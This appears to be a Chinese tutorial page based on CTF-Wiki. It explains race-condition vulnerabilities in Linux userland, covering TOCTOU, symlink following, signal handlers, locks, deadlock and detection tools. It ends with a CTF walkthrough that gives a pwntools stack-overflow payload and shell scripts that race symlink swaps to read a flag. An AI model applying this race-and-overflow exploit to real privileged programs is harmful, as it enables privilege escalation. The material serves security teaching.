ARTICLE DETAIL

资讯详情

深耕网站建设、视觉设计与SEO优化的一线实战洞察。

CTF-Wiki Linux 用戶態 Pwn 條件競爭(Race Condition)漏洞攻防全解析

CTF-Wiki Linux 用戶態 Pwn 條件競爭(Race Condition)漏洞攻防全解析 文档网络安全教程【免费下载链接】ctf-wikiCome and join us, we need you!项目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki点击查看免费下载導讀條件競爭Race Condition是 Linux 用戶態 Pwn 中一類利用「程序執行時序不確定性」展開攻擊的漏洞類型。本文以 CTF-Wiki 中 race-condition 目錄 為主體系統講解條件競爭的成因與三大成立條件、TOCTOU / 信號處理程序等典型漏洞形式、同步原語與死鎖的防範機制以及靜態與動態檢測工具並結合 同目錄實戰題目 的完整源碼與利用腳本演示如何通過「檢查-刪除-符號鏈接」的競窗攻擊將條件競爭轉化為棧溢出提權。讀完本文你將掌握條件競爭從原理分析、漏洞識別到實際利用的完整閉環。概述什麼是條件競爭條件競爭是指一個系統的運行結果依賴於不受控制的事件的先後順序。當這些不受控制的事件並沒有按照開發者想要的方式運行時就可能會出現 bug。這個術語最初來自於兩個電信號互相競爭來影響輸出結果——正如 race_condition.png 所示同一信號 A 經過不同延遲路徑後與其反相信號匯入與門由於非門延遲 Δt₁ 與與門延遲 Δt₂ 的存在輸出端會產生一個極短的矛盾脈衝這正是「時序差導致非預期結果」的最原始形態。條件競爭主要出現在以下領域電子系統尤其是邏輯電路計算機尤其是多線程程序和分佈式程序。由於目前的系統中大量採用併發編程經常對資源進行共享往往會產生條件競爭漏洞。在 CTF 的 Linux 用戶態 Pwn 中條件競爭同樣是服務端程序多進程/多線程模型的高發漏洞也是從「邏輯缺陷」走向「內存破壞利用」的重要跳板。條件競爭成立的三個必要條件在計算機程序層面當一個軟件的運行結果依賴於進程或者線程的順序時就可能會出現條件競爭。簡單考慮一下可以知道條件競爭需要如下的條件併發Concurrency至少存在兩個併發執行流。這裏的執行流包括線程、進程、任務等級別的執行流。共享對象Shared Object多個併發流會訪問同一對象。常見的共享對象有共享內存、文件系統、信號。一般來說這些共享對象是用來使多個程序執行流相互交流的。此外我們稱訪問共享對象的代碼為臨界區Critical Section——在正常寫代碼時這部分應該加鎖。改變對象Mutation至少有一個控制流會改變競爭對象的狀態。因為如果程序只是對對象進行讀操作並不會產生條件競爭。由於在併發時執行流的不確定性很大條件競爭相對難察覺並且在復現和調試方面會比較困難這也給修復條件競爭帶來了不小的困難。條件競爭造成的影響同樣多樣輕則程序異常執行重則程序崩潰如果條件競爭漏洞被攻擊者利用的話很有可能使攻擊者獲得相應系統的特權——這也正是 Pwn 題中其價值所在。一個直觀的多線程示例下面這段 C 代碼創建 10 個線程每個線程對共享的全局變量counter執行counter 1並打印結果#include pthread.h #include stdio.h int counter; void *IncreaseCounter(void *args) { counter 1; sleep(0.1); printf(Thread %d has counter value %d\n, (unsigned int)pthread_self(), counter); } int main() { pthread_t p[10]; for (int i 0; i 10; i) { pthread_create(p[i], NULL, IncreaseCounter, NULL); } for (int i 0; i 10; i) { pthread_join(p[i], NULL); } return 0; }一般來說我們可能希望按如下方式輸出——每個線程依次看到遞增的計數值➜ 005race_condition ./example1 Thread 1859024640 has counter value 1 Thread 1841583872 has counter value 2 Thread 1832863488 has counter value 3 Thread 1824143104 has counter value 4 Thread 1744828160 has counter value 5 Thread 1736107776 has counter value 6 Thread 1727387392 has counter value 7 Thread 1850304256 has counter value 8 Thread 1709946624 has counter value 9 Thread 1718667008 has counter value 10但是由於條件競爭的存在counter 1的「讀-改-寫」三步並非原子操作最後輸出的結果往往不盡人意——多個線程讀到了同一個舊值➜ 005race_condition ./example1 Thread 1417475840 has counter value 2 Thread 1408755456 has counter value 2 Thread 1391314688 has counter value 8 Thread 1356433152 has counter value 8 Thread 1365153536 has counter value 8 Thread 1373873920 has counter value 8 Thread 1382594304 has counter value 8 Thread 1400035072 has counter value 8 Thread 1275066112 has counter value 9 Thread 1266345728 has counter value 10注意代碼中的sleep(0.1)只是加大了線程被調度器切換的概率讓競爭更容易被觀察到即使去掉它非原子的讀-改-寫序列依然會造成數據競態data race。競爭產生的根源Check 與 Use 之間的「時間窗口」仔細思考條件競爭為什麼會發生可以用下面這個模型來概括程序首先執行了 action1然後執行了 action2。其中 action 可能是應用級別的也可能是操作系統級別的。正常來說我們希望程序在執行 action2 時action1 所產生的條件仍然是滿足的。但是由於程序的併發性攻擊者很有可能可以在 action2 執行之前的這個短暫的時間窗口中破壞 action1 所產生的條件。這時候攻擊者的操作與 action2 產生了條件競爭所以可能會影響程序的執行效果。所以問題的根源在於程序員雖然假設某個條件在相應時間段內是滿足的但條件往往可能在這個很小的時間窗口中被修改。雖然這個時間間隔可能非常小但攻擊者仍然可以通過執行某些操作如計算密集型操作、DoS 攻擊使受害機器的處理速度相對變慢從而人為拉大競窗、提高競爭成功率——這在後續的實戰利用中會反覆體現。常見形式常見的條件競爭有以下幾種形式均對應 MITRE 的 CWE 編號可作為漏洞分類與題目識別的依據。CWE-367TOCTOU 條件競爭TOCTOUTime-of-check Time-of-use指的是程序在使用資源變量、內存、文件前會先進行檢查但是在程序真正使用對應資源之前該資源卻被修改了。TOCTOU 是 CTF 中最常見的條件競爭形態下面的 CWE-365、CWE-363 都是它在特定場景下的具體變體。CWE-365Switch 語句中的條件競爭當程序正在執行 switch 語句時如果 switch 變量的值被改變那麼就可能造成不可預知的行為。尤其在 case 語句後不寫 break 語句的代碼中一旦 switch 變量發生改變很有可能會改變程序原有的執行邏輯fall-through 方向被篡改。CWE-363允許鏈接跟隨的條件競爭Link FollowingLinux 提供了兩種對文件的命名方式文件路徑名解析時是通過傳入的路徑文件名、硬鏈接、軟鏈接間接解析的傳入的參數並不是相應文件的真實地址inode文件描述符通過訪問直接指向文件的指針來解析。正是由於路徑名解析的間接性產生了前面所說的可被利用的時間窗口程序在訪問某個文件之前會先檢查其存在性與屬性之後再打開文件執行操作但如果攻擊者在「檢查之後、真正使用之前」將文件替換為某個符號鏈接程序就會訪問到錯誤的文件。這種條件競爭問題的根源在於文件系統中的「名字-對象」綁定問題。下面的函數都會以文件名作為參數因此都可能成為競窗攻擊的目標access()、open()、creat()、mkdir()、unlink()、rmdir()、chown()、symlink()、link()、rename()、chroot()……如何避免可以使用fstat函數讀取文件信息並存入stat結構體再將該信息與我們已知的信息進行比較判斷是否讀入了正確的文件。其中stat結構體中的兩個變量可以唯一標識一個文件st_ino包含文件的序列號即 i-nodest_dev包含文件對應的設備號。即「先以文件描述符定位對象再通過 inodedev 校驗身份」避免單純依賴可被替換的路徑名。CWE-364信號處理程序中的條件競爭條件競爭經常發生在信號處理程序中這是因為信號處理程序支持異步操作。尤其是當信號處理程序是不可重入的或者狀態敏感的時候攻擊者可能通過利用其中的條件競爭達到拒絕服務攻擊DoS和代碼執行的效果。例如如果在信號處理程序中執行了free操作此時又來了一個信號信號處理程序就會再次執行free出現 double free再稍加操作就可能達到任意地址寫的效果。一般來說與信號處理程序有關的常見條件競爭情況有信號處理程序和普通的代碼段共享全局變量和數據段在不同的信號處理程序中共享狀態信號處理程序本身使用不可重入的函數比如malloc和free一個信號處理函數處理多個信號可能進而導致 use-after-free 和 double free 漏洞使用setjmp/longjmp等機制使信號處理程序不能返回原來的程序執行流。線程安全與可重入理解信號處理程序漏洞需要先厘清「線程安全」與「可重入」的關係線程安全Thread-safe即該函數可以被多個線程調用而不會出現任何問題。成立條件為函數本身沒有任何共享資源或者有共享資源但已經加鎖。可重入Reentrant一個函數可以被多個實例同時運行在相同的地址空間中。可重入函數可以被中斷並且其它代碼在進入該函數時不會丟失數據的完整性因此可重入函數一定是線程安全的但線程安全函數不一定是可重入的可重入強調的是單個線程執行時重新進入同一個子程序仍然是安全的不滿足可重入的典型情況函數體內使用了非靜態常量之外的靜態數據結構函數體內使用了malloc或free函數使用了標準 IO 函數調用的函數本身不是可重入的可重入函數使用的所有變量都保存在當前調用棧的函數棧幀frame上。防範消除競爭窗口如果想要消除條件競爭首要目標是找到競爭窗口race window。所謂競爭窗口就是訪問競爭對象的代碼段它給了攻擊者相應的機會去修改競爭對象。一般來說如果我們能讓衝突的競爭窗口相互排斥就可以消除競爭條件。同步原語一般來說我們會使用同步原語來消除競爭條件常見的有鎖變量Lock Variable互斥鎖Mutex在等待期間放棄 CPU進入 idle 狀態過一段時間自動重試自旋鎖Spinlock在等待期間不放棄 CPU一直自旋嘗試。條件變量Condition Variable條件變量是用來等待而不是用來上鎖的。它用來自動阻塞一個線程直到某特殊情況發生為止通常條件變量與互斥鎖同時使用。臨界區對象CRITICAL_SECTIONWindows 下的輕量級同步機制。信號量Semaphore控制可訪問某個臨界區的線程數量一般大於 1。管道Pipe用於連接一個讀進程和一個寫進程以實現它們之間通信的共享文件其生存期不超過創建管道的進程的生存期。命名管道Named Pipe / FIFO生存期可以與操作系統運行期一樣長。命名管道的典型用法示範mkfifo創建、進程間流式傳輸# 創建管道 mkfifo my_pipe # gzip 從給定的管道中讀取數據並把數據壓縮到 out.gz 中 gzip -9 -c my_pipe out.gz # 給管道傳輸數據 cat file my_pipe死鎖同步原語使用不當的後果當同步原語使用得不恰當的時候進程就可能會出現死鎖Deadlock。當兩個或兩個以上的執行流互相阻塞導致都不能繼續執行死鎖就會發生。其本質是在衝突的執行流中出現了循環等待循環等待中的每一個執行流都獲得了一個資源同時試圖獲得下一個資源。如上圖所示P1 擁有資源 R2、還需要額外資源 R1 才能運行P2 擁有資源 R1、還需要額外資源 R2 才能運行兩邊互相等待而沒有一個能繼續運行。一般來說死鎖有以下四個必要條件互斥Mutual Exclusion資源是互斥的同一時刻只能被一個執行流佔有持有和等待Hold and Wait持有已有的資源同時等待使用下一個資源不可搶佔No Preemption進程所獲得的資源在未使用完畢之前資源申請者不能強行奪取只能由佔有者自行釋放循環等待Circular Wait多個執行流形成循環等待資源的閉環。而消除死鎖也就是打破上述四個必要條件中的任意一個。此外死鎖可能來源於以下原因處理器速度、進程或線程調度算法的變動、執行過程中不同內存的限制、任何能夠中斷程序執行的異步事件。死鎖一般情況下會造成拒絕服務攻擊DoS——這在 Pwn 題目中常被用作干擾正常服務、放大競窗的手段。檢測靜態分析與動態分析條件競爭能否被檢測出來目前確實有這方面的研究主要從靜態分析和動態分析兩個方面展開。靜態檢測Flawfinder目標為 C/C 源碼。步驟是先建立漏洞數據庫再進行簡單的文本模式匹配缺點是沒有任何的數據流或控制流分析只能作為粗篩工具。ThreadSanitizer目標為 C 和 Go基於 LLVM 實現可在編譯期插樁檢測數據競態。動態檢測Intel InspectorIntel 提供的線程檢查與內存檢查工具可定位競態與死鎖。Valgrind經典的動態分析框架其 Helgrind / DRD 工具可用於檢測多線程程序中的競態條件與鎖序問題。在 CTF 環境中gcc -fsanitizethread開啟的 ThreadSanitizer 是最常用的復現與驗證競態的手段而 Valgrind 則適合對疑似競態的樣例程序做二次確認。實戰利用 TOCTOU 條件競爭實現棧溢出提權理論之外同目錄的實戰題目 給出了一個完整的 TOCTOU 利用鏈路通過競窗攻擊將「檢查小文件」與「讀取大文件」錯位最終以棧溢出劫持控制流。目標程序源碼#include fcntl.h #include stdio.h #include stdlib.h #include string.h #include sys/stat.h #include unistd.h void showflag() { system(cat flag); } void vuln(char *file, char *buf) { int number; int index 0; int fd open(file, O_RDONLY); if (fd -1) { perror(open file failed!!); return; } while (1) { number read(fd, buf index, 128); if (number 0) { break; } index number; } buf[index 1] \x00; } void check(char *file) { struct stat tmp; if (strcmp(file, flag) 0) { puts(file can not be flag!!); exit(0); } stat(file, tmp); if (tmp.st_size 255) { puts(file size is too large!!); exit(0); } } int main(int argc, char *argv[argc]) { char buf[256]; if (argc 2) { check(argv[1]); vuln(argv[1], buf); } else { puts(Usage ./prog filename); } return 0; }漏洞分析程序的基本流程如下檢查傳入的命令行參數是不是flag如果是就退出防止直接讀取 flag檢查傳入參數對應文件的大小是否大於 255是的話直接退出將參數對應文件內容讀入大小為 256 的buf。看似既攔截了flag文件名又限制了文件大小buf也剛好能容納最大內容——但這裡存在一個典型的TOCTOU 條件競爭check()中的stat()與vuln()中的open()read()之間存在時間窗口。如果我們在程序檢查完文件大小後、真正open之前把文件刪除並替換為指向一個更大文件的符號鏈接程序讀入的內容就會超出buf容量從而產生棧溢出。利用思路與 Payload基本思路目標是獲得flag的內容只要通過棧溢出覆寫main函數的返回地址即可通過反彙編與調試可以獲得showflag的地址進而構造 payload➜ racetest cat payload.py from pwn import * test ELF(./test) payload a * 0x100 b * 8 p64(test.symbols[showflag]) open(big, w).write(payload)a * 0x100填充buf[256]b * 8覆蓋main棧幀中的 saved rbp或棧上相應位置p64(test.symbols[showflag])將返回地址改寫為showflag。雙腳本競爭攻擊攻擊需要兩個腳本並行運行exp.sh負責在競窗內反覆刪除fake文件並建立到big的符號鏈接run.sh負責反覆執行目標程序➜ racetest cat exp.sh #!/bin/sh for i in seq 500 do cp small fake sleep 0.000008 rm fake ln -s big fake rm fake done ➜ racetest cat run.sh #!/bin/sh for i in seq 1000 do ./test fake done其中exp.sh用於在相應的窗口內刪除fake文件並執行符號鏈接替換run.sh用於反覆運行目標程序。兩者同時進行時只要某一次open(fake)恰好發生在「符號鏈接已建立、且指向big」的瞬間程序就會讀入超長內容觸發棧溢出。實際效果➜ racetest (sh exp.sh ) sh run.sh [...] file size is too large!! open file failed!!: No such file or directory open file failed!!: No such file or directory open file failed!!: No such file or directory open file failed!!: No such file or directory file size is too large!! open file failed!!: No such file or directory open file failed!!: No such file or directory flag{race_condition_succeed!} [...]從輸出可以看到大量失敗樣本要麼檢查階段攔截了big要麼open時文件已被刪除但最終仍然成功拿到flag{race_condition_succeed!}。成功的關鍵在於sleep 0.000008這個延時參數的選擇——它決定了競窗內替換動作的節奏需要根據機器性能反覆調試這也呼應了前文所述攻擊者可以通過改變自身操作節奏來匹配受害程序的執行時序提高競爭命中率。小結條件競爭是 Linux 用戶態 Pwn 中「邏輯缺陷」與「內存破壞」交匯的典型漏洞類型其知識體系可總結為成因併發執行流 共享對象 對象狀態被修改三者缺一不可形態以 TOCTOUCWE-367為代表延伸出 switch 競爭CWE-365、鏈接跟隨CWE-363、信號處理程序競爭CWE-364等多種變體防範找到並互斥競爭窗口——使用互斥鎖、條件變量、信號量等同步原語同時警惕死鎖的四個必要條件檢測靜態層面的 Flawfinder、ThreadSanitizer 與動態層面的 Intel Inspector、Valgrind 相結合利用以「檢查-刪除-替換」的競窗攻擊為代表可將 TOCTOU 轉化為棧溢出等高危內存漏洞。後續可進一步閱讀 problem.md 的原始題目說明並結合本倉庫 stackoverflow 系列 掌握溢出後的控制流劫持技術形成從條件競爭到完整提權鏈路的閉環。赞分享文档网络安全教程【免费下载链接】ctf-wikiCome and join us, we need you!项目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki点击查看免费下载相关推荐ctf-wiki Pwn 实战Linux 用户态下获取 Shell 的四种方式全解析ctf wiki Pwn 实战Linux 用户态下获取 Shell 的四种方式全解析 本篇技术文章基于 ctf wiki 的 Linux 用户态 Pwn「获取文档网络安全教程上一篇Citizens2核心功能解析如何用AI路径规划让NPC自由移动下一篇如何在React 18并发模式下实现丝滑动画Motion库的终极Suspense解决方案创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表